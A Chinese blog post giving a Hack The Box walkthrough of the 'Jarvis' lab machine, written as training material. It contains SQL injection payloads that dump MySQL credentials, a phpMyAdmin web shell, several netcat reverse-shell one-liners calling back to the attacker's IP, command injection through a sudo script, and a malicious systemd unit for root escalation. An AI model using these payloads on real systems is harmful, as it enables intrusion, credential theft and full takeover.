• 【Hack The Box】linux练习-- Jarvis


    HTB 学习笔记

    Hack The Box】linux练习-- Jarvis


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月17日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
    | ssh-hostkey: 
    |   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
    |   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
    |_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
    80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
    | http-cookie-flags: 
    |   /: 
    |     PHPSESSID: 
    |_      httponly flag not set
    |_http-server-header: Apache/2.4.25 (Debian)
    |_http-title: Stark Hotel
    64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
    |_http-server-header: Apache/2.4.25 (Debian)
    |_http-title: Site doesn't have a title (text/html).
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    64999

    在这里插入图片描述

    80

    在这里插入图片描述发现了一些信息

    supersecurehotel.htb
    supersecurehotel@logger.htb
    
    • 1
    • 2
    目录爆破
    gobuster dir -u http://10.129.227.147/ -x php -w /usr/share/dirb/wordlists/common.txt
    
    • 1

    得等一会,我们先进行别的测试

    分析页面

    我将继续分析页面,寻找功能点

    在这里插入图片描述
    这里可能有lfi。我将尝试…/…/…/…/…/etc/passwd
    但是并没有什么显示
    我将再尝试sql注入
    当我输入一个‘,我发现页面报错了,这是一个非常好的征兆,说明页面确实存在sql注入

    在这里插入图片描述
    页面报错了

    cod=100 UNION SELECT 1,2,3,4,5,6,7;-- -
    
    • 1

    在这里插入图片描述

    1. 列出数据库:
    SELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 from information_schema.schemata;-- -
    
    2. 列出表
    Show Tables in hotel	SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='hotel' ;-- -
    
    3. 列出列
    Show Columns in room	SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='room';-- -
    
    4. 列出mysql的表
    Show Tables in mysql	SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='mysql' ;-- -
    
    6. 继续查看列
    Show Columns in user	SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='user';-- -
    
    6. 获取用户账号密码信息
    SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -
    DBadmin
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    在这里插入图片描述
    目录爆破结果也出来了
    我们获得的应该就是phpmyadmin的凭证了
    去登录试试

    在这里插入图片描述
    CVE-2018-12613
    在phpmyadmin的sql栏输入以下sql命令

    SELECT "" into outfile "/var/www/html/sh3ll.php"
    
    • 1

    在这里插入图片描述

    http://10.129.227.147/shell.php?c=id
    
    • 1

    而后替换传入的参数

    rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 4242 >/tmp/f
    
    • 1

    但是要url编码

    在这里插入图片描述

    www->pepper

    在这里插入图片描述因为是pepper:all,所以我们要用pepper执行

    sudo -u pepper /var/www/Admin-Utilities/simpler.py
    
    • 1

    在这里插入图片描述
    这个比较可以
    可以ping的话看看能不能命令执行
    看看源码

    在这里插入图片描述
    但是常见的一些附加命令执行被ban了

    但是还漏了一个$
    我们进行尝试看看 能 不 能 正 常 , 如 果 正 常 的 话 我 们 就 可 以 写 入 一 个 脚 本 , 然 后 用 能不能正常,如果正常的话我们就可以写入一个脚本,然后用 ,导入即可

    在这里插入图片描述
    是成功的
    所以我将写一个脚本然后执行

    echo -e '#!/bin/bash\n\nnc -e /bin/bash 10.10.14.7 443' > /tmp/d.sh
    chmod +x /tmp/d.sh
    然后在输入ip的时候这么执行
    $(/tmp/d.sh)
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    pepper -> root

    find / -perm -4000 -type f 2>/dev/null 
    
    • 1

    在这里插入图片描述
    这个二进制文件是一个 systemd 实用程序,负责控制 systemd 系统和服务管理器。 也就是说,它创建和管理服务。 在这种情况下,只有 root 和 pepper (me) 组中的用户可以运行它,并且它将以 root 身份运行
    参照下面

    https://gtfobins.github.io/gtfobins/systemctl/
    
    • 1
    [Service]
    Type=notify
    ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.8 443'
    KillMode=process
    Restart=on-failure
    RestartSec=42s
    
    [Install]
    WantedBy=multi-user.target
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    不管增么样,先链接,再启动
    systemctl link /home/pepper/rong.service
    systemctl start
    一定不要忘了启动

  • 相关阅读:
    写代码只是皮毛,这才是计算机科学
    Linux常用指令--文件目录常用指令
    Transformation 和 Action 常用算子
    二叉树的后续遍历(迭代法)
    【C语言刷LeetCode】1953. 你可以工作的最大周数(M)
    android studio启动Task配置
    vue3封装echarts图表数据无法渲染到页面
    YoloV:视频中目标实时检测依然很棒(附源代码下载)
    Excel - 插入空白行
    【每日一题】合并两个有序数组
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127935582